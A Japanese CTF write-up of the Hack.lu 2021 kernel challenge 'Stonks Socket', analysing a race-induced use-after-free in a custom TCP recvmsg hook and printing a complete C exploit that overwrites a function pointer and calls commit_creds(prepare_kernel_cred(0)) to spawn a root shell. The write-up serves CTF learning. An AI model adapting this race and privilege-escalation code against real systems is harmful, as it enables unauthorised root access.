イントロ Link to this heading

最近はどうも気分が沈みがちで、そんな楽しくない日々を送っております。こんにちは、ニートです。 いつぞや開催されたHack.lu CTF 2021。その kernel 問題であるStonks Socketを解いていきます。しんどいときには破壊と切り捨てと放置と放棄が大事です。

overview / analysis Link to this heading

static Link to this heading

リシテア曰く:

lysithea-analysis.sh
 1===============================
 2Drothea v1.0.0
 3[.] kernel version:
 4  Linux version 5.11.0-38-generic (buildd@lgw01-amd64-041) (gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #1
 5[!] mmap_min_addr is smaller than 4096: 65536
 6[!] Oops doesn't mean panic.
 7  you mignt be able to leak info by invoking crash.
 8[!] SMEP is disabled.
 9[!] SMAP is disabled.
10[!] unprivileged ebpf installation is enabled.
11[-] unprivileged userfaultfd is disabled.
12[?] KASLR seems enabled. Should turn off for debug purpose.
13[?] kptr seems restricted. Should try 'echo 0 > /proc/sys/kernel/kptr_restrict' in init script.
14Ingrid v1.0.0
15[.] userfaultfd is not disabled.
16[-] CONFIG_STRICT_DEVMEM is enabled.
17===============================

まず、SMEP/SMAP 無効で KASLR 有効なのは良い。ついでに Oops で leak できるのもいい(但し今回の問題は shell をくれるのではなくバイナリをアップロードして勝手に実行される形式だった。けど、その中でシェル開けばいいだけだから、なんでこの形式かはわからんかった)。問題は、userfaultfdが、実装こそされているもののunprivileged_userfaultfdが禁止されていると言っている。めんど。これは持論なんですが、どうせレースが解法で且つ相当巧妙なタイミング操作が問題の肝とかでも無い限り、uffd を殺すのは悪だと思っています。めんどいだけなので。まぁ、ソースを配布しているから全部許します。ソース無配布»»»»»»»深夜 2 時にどんちゃん騒ぎする上階のカス住人»»uffd 殺しの order で悪です。

module overview Link to this heading

TCP プロトコルソケットのioctl実装をオレオレioctlに置き換えている(厳密には、内部でsuperしているため置き換えていると言うよりもプリフックしている)。

module

本モジュールはソケットからrecvmsg()する際に、メッセージのハッシュをバッファ末尾に付与するというのがメイン機能になっている。その実現のため、recvmsg()自体をカスタムのものに置き換えている。

stonks_ioctl.c
 1int stonks_ioctl(struct sock *sk, int cmd, unsigned long arg) {
 2    int err;
 3    u64 *sks = (u64*)sk;
 4    ...
 5    if (cmd == OPTION_CALL) {
 6    ...
 7    sk->sk_user_data = stonks_sk;
 8    // replace `recvmsg` function with custom one
 9    sk->sk_prot->recvmsg = stonks_rocket;
10    return err;
11    ...

こいつの実装はこんな感じで、内部で本来のtcp_recvmsg()を呼びつつ、その後に独自のhash_function()でハッシュを生成してメッセージバッファに入れている。わざわざ関数ポインタ使ってるね、怪しいね。一応建前はハッシュ関数を選択できるようにらしいけどね。うん。

recv

ハッシュ関数はこんな感じ。ソケットに入ってきたメッセージを、ユーザが指定したlength qword 毎に区切ってバッファに入れて、どんどん XOR していく簡単な実装。

hash

お試しで以下のコードを実行すると、ちゃんと末尾にハッシュっぽいのが付与されているのが分かる。

test.c
 1  // write to socket from client
 2  write(csock, "ABCDEFG", 8);
 3  option_arg_t option = {
 4    .size = 0x4,
 5    .rounds = 1,
 6    .key = 0xdeadbeef,
 7    .security = 1,
 8  };
 9  assert(ioctl(psock, OPTION_CALL, &option) == 0);
10  char bbuf[0x30] = {0};
11  recv(psock, bbuf, 0x30, 0);
12  puts("[.] received");
13  printf("%s\n", bbuf);
14  hexdump(bbuf, 0x30);
15}

leak

vulns Link to this heading

まぁ全体的にバギーなプログラムではある。lengthをいじることでsecure_hash()でスタックが溢れるうえに、oops が panic ではないから敢えて oops させて leak させるのもできる。他にも適当にモンキーテストしてたら簡単にクラッシュするパスも見つかったが、大して使えそうにはなかったため忘れてしまった。

monkey

一番の問題は、struct sockのロックを取っていないこと。本来の実装であるtcp_recvmsg()では、内部関数を呼ぶ前にちゃんと ソケットのロックを取っている。

net/ipv4/tcp.c
 1int tcp_recvmsg(struct sock *sk, struct msghdr *msg, size_t len, int nonblock,
 2		int flags, int *addr_len)
 3{
 4    ...
 5	lock_sock(sk);
 6	ret = tcp_recvmsg_locked(sk, msg, len, nonblock, flags, &tss,
 7				 &cmsg_flags);
 8	release_sock(sk);
 9    ...
10}
11EXPORT_SYMBOL(tcp_recvmsg);

だが、本モジュールではあろうことかsk->sk_user_dataをスタックに積んでロックもとらず放置してしまっている。いわゆるパッチ問(この問題もフックをつけてるだけだからある種のパッチ問だと思う)においては、本来の実装と違うところがバグである。 このsk_user_dataには、先程言ったハッシュを生成するためのユーザ指定の情報(関数ポインタのみユーザ指定不可)が入っており、tcp_recvmsg()後にスタックに積んだsk_user_dataから情報を取り出して使っている。このデータはioctlkfreeできるため、無事に UAF 完成。

race Link to this heading

さてさて、最初に書いたようにunprivileged_userfualtfdが禁止されている。よって、結構シビアなレースをする必要が有る。最初はsendmsgで任意サイズの spray をしようとしていたが、sendmsgでの spray、一回も成功したこと無くて断念した。これ、ほんとに使える???

こういう場合に安定なのは、モジュール内で実装されている関数・構造体をレースに使うこと。victim となる構造体はstruct StonksSocketで、サイズは0x20

まず、クライアント 1(victim)のソケットを開いてioctlしてStonksSocketを作る。次に、同一サーバに対してクライアント 2(attacker)のソケットを作り、同様にioctlしてStonksSocketを作り、先にクソデカメッセージを送っておく。まだrecvはしない。

ここでスレッドを他に 2 つ作る。receiver スレッドでは、起動と同時に victim のStonksSocketを削除して、その後 attacker から永遠にrecvし続ける。

receiver.c
1static void *receiver(void *arg) {
2  puts("[+] receiver thread started");
3  while(GO == 0);
4  ioctl(victim_sock_fd, OPTION_PUT, NULL);
5  while(1 == 1) {
6    recv(attacker_sock_fd, bigrcvbuf, BIGSIZE, 0);
7  }
8  return NULL;
9}

writer スレッドでは、一度だけ victim に対してwriteをする。このデータはなんでもいい。

writer.c
1static void *writer(void *arg) {
2  puts("[+] writer thread started");
3  usleep(1500 * 1000);
4  GO=1;
5  for (int ix = 0; ix != 30; ++ix) {
6    usleep(1);
7  }
8  write(victim_socket, bigbuf, 8);
9}

最後に、メインスレッドでは一度だけ victim からreadする。

これらがうまく噛み合って以下の順で起こると、レースが起こる:

  1. メインスレッドが victim から read する。stonks_rocket()内で、sk_user_dataポインタをスタックに積む。読むのはクソデカバッファだから、tcp_recvmsg()内でコンテキストスイッチする(しろ)。
  2. reader スレッドが victim のStonksSocketkfreeする。これで victim のスタックに乗っているsk_user_dataはダングリング。
  3. reader スレッド内で attacker からrecvすることで、secure_hash内の以下のパスで、victim がリリースした直後の 0x20 サイズのチャンク(StonksSocket)がとられ、kUAF(overwrite)。
.c
1    while (i) {
2        size = h->length * sizeof(u64);
3        buf = kmalloc(size, GFP_KERNEL);
4        i = copy_from_iter(buf, size, msg);
5        for (j = 0; j < i; j++) {
6            hash[j] ^= buf[j];
7        }
8        kfree(buf);
9    }
  1. writer スレッド内で victim に write することで、メインスレッドのrecvの処理が続行する。このときには、3 によりsk_user_data->hash_function関数ポインタが attacker により送られたメッセージの値で上書きされている。
  2. メインスレッド内のrecvが、通常のtcp_recvmsg()を終えて書き換えられたハッシュ関数を呼び出す。
  3. nirugiri

かなり調整がシビアで、writer スレッドとメインスレッドでスリープを挟んで微調整をしながら上手くいかないなぁと嘆いていたけど、クソデカバッファのサイズをクソデカからクソデカデカデカデカにしたら上手くいった。力こそ正義。

LPE Link to this heading

SMEP も SMAP も無効だから、RIP を取ればもう終わり。RIP が取れた時のスタックを眺めて、使えそうなシンボルをスタックから見繕ってcommit(kpc(0))した。

exploit Link to this heading

exploit.c
  1// for exploit.h, refer to https://github.com/smallkirby/lysithea
  2
  3#include "exploit.h"
  4#include <sched.h>
  5
  6/*********** commands ******************/
  7
  8#define DEV_PATH ""   // the path the device is placed
  9#define u64 ulong
 10typedef union {
 11    // for OPTION_DEBUG
 12    struct {
 13        u64 off;
 14        u64 *data;
 15    };
 16    // for OPTION_CALL
 17    struct {
 18        unsigned size;
 19        u64 rounds;
 20        u64 key;
 21        u64 security;
 22    };
 23} option_arg_t;
 24
 25#define OPTION_CALL     0x1337
 26#define OPTION_PUT      0x1338
 27#define OPTION_DEBUG    0x1339
 28
 29/*********** constants ******************/
 30
 31#define PORT 49494
 32#define BIGSIZE 0x80000
 33int victim_sock_fd = -1, attacker_sock_fd = -1;
 34int victim_socket, attacker_socket;
 35char bigbuf[BIGSIZE] = {0};
 36char bigrcvbuf[BIGSIZE] = {0};
 37const option_arg_t call_option_security = {
 38    .size = 0x4,
 39    .rounds = 1,
 40    .key = 0xdeadbeef,
 41    .security = 1,
 42};
 43const option_arg_t call_option_empty = {
 44    .size = 0x4,
 45    .rounds = 1,
 46    .key = 0xdeadbeef,
 47    .security = 0,
 48};
 49int GO = 0;
 50
 51/****** (END constants) *****************/
 52
 53#define DIFF_PREPARE_KERNEL_CRED 0x38f4b
 54#define DIFF_COMMIT_CREDS 0x3944b
 55
 56void nirugiri()
 57{
 58  asm(
 59    "mov rax, [rsp+0x28]\n"
 60    "sub rax, 0x38f4b\n"
 61    "xor rdi, rdi\n"
 62    "call rax\n"
 63    "mov rdi, rax\n"
 64    "mov rax, [rsp+0x28]\n"
 65    "sub rax, 0x3944b\n"
 66    "call rax\n"
 67    //"mov rax, [0xaaa]\n" // PROBE
 68    "leave\n"
 69    "ret\n"
 70  );
 71}
 72
 73
 74int listenat(int port) {
 75  printf("[.] creating listening socket @ %d ...\n", port);
 76  int sock = socket(AF_INET, SOCK_STREAM, 0);
 77  assert(sock != -1);
 78  struct sockaddr_in addr;
 79  memset(&addr, 0, sizeof(addr));
 80  addr.sin_family = AF_INET;
 81  addr.sin_port = htons(port);
 82  addr.sin_addr.s_addr = htonl(INADDR_ANY);
 83  assert(bind(sock, (struct sockaddr*)&addr, sizeof(addr)) != -1);
 84  assert(listen(sock, 999) == 0);
 85
 86  return sock;
 87}
 88
 89int connectto(int port) {
 90  puts("[.] creating client socket");
 91  int csock = socket(AF_INET, SOCK_STREAM, 0);
 92  assert(csock != -1);
 93  struct sockaddr_in caddr;
 94  memset(&caddr, 0, sizeof(caddr));
 95  caddr.sin_family = AF_INET;
 96  caddr.sin_port = htons(port);
 97  caddr.sin_addr.s_addr = inet_addr("127.0.0.1");
 98  assert(connect(csock, &caddr, sizeof(caddr)) == 0);
 99
100  return csock;
101}
102
103static void *receiver(void *arg) {
104  puts("[+] receiver thread started");
105  while(GO == 0);
106  ioctl(victim_sock_fd, OPTION_PUT, NULL);
107  while(1 == 1) {
108    recv(attacker_sock_fd, bigrcvbuf, BIGSIZE, 0);
109  }
110  return NULL;
111}
112
113static void *writer(void *arg) {
114  puts("[+] writer thread started");
115  usleep(1500 * 1000);
116  GO=1;
117  for (int ix = 0; ix != 30; ++ix) {
118    usleep(1);
119  }
120  write(victim_socket, bigbuf, 8);
121}
122
123int main(int argc, char *argv[]) {
124  puts("[.] exploit started.");
125  printf("[+] nirugiri @ %p\n", nirugiri);
126
127  // create receiver socket
128  int server_socket = listenat(PORT);
129  struct sockaddr peer_addr;
130  unsigned len = sizeof(peer_addr);
131
132  // connect to the socket
133  puts("[+] requesting connection");
134  victim_socket = connectto(PORT);
135  attacker_socket = connectto(PORT);
136
137  // accept victim and set hash filter
138  puts("[+] accepting victim connection");
139  assert((victim_sock_fd = accept(server_socket, &peer_addr, &len)) != -1);
140  assert(ioctl(victim_sock_fd, OPTION_CALL, &call_option_empty) == 0);
141
142  // accept attacker connection and set evil hash filter
143  puts("[+] accepting attacker connection and setting hashes");
144  for (int ix = 0; ix != BIGSIZE / 8; ++ix) {
145    ((ulong*)bigbuf)[ix] = (ulong)nirugiri;
146  }
147  assert((attacker_sock_fd = accept(server_socket, &peer_addr, &len)) != -1);
148  assert(ioctl(attacker_sock_fd, OPTION_CALL, &call_option_security) == 0);
149  assert(write(attacker_socket, bigbuf, BIGSIZE) != -1);
150
151  /*** invoke race ***
152  * the main point is, operations is done in exact order below;
153  *
154  * 1. victim recv() start, which takes much time to read huge buf
155  * 2. attacker StonksSocket is put
156  * 3. attacker recv() is done, which means overwrite of victim Socket
157  * 4. end reading of victim buf, which leads to hash_function(), in this case nirugiri()
158  ***/
159  puts("[+] starting race...");
160  pthread_t receiver_thr, writer_thr;
161  pthread_create(&receiver_thr, NULL, receiver, NULL);
162  pthread_create(&writer_thr, NULL, writer, NULL);
163  for (int ix = 0; ix != 100; ++ix) {
164    usleep(50);
165  }
166  recv(victim_sock_fd, bigrcvbuf, 0x100, 0);
167
168  sleep(1);
169  if (getuid() != 0) {
170    puts("\n[FAIL] couldn't get root...");
171    exit(1);
172  } else {
173    puts("\n\n[SUCCESS] enjoy your root.");
174    system("/bin/sh");
175  }
176
177  // end of life (UNREACHABLE)
178  puts("[ ] END of life...");
179  sleep(9999);
180}

アウトロ Link to this heading

root

uffd 殺さなくても良かったんじゃないでしょうか。

早く大学 4 年が終わってほしみが深くてぴえん超えてぱおんです。風花雪月は 4 周目がそろそろ終わります。

参考 Link to this heading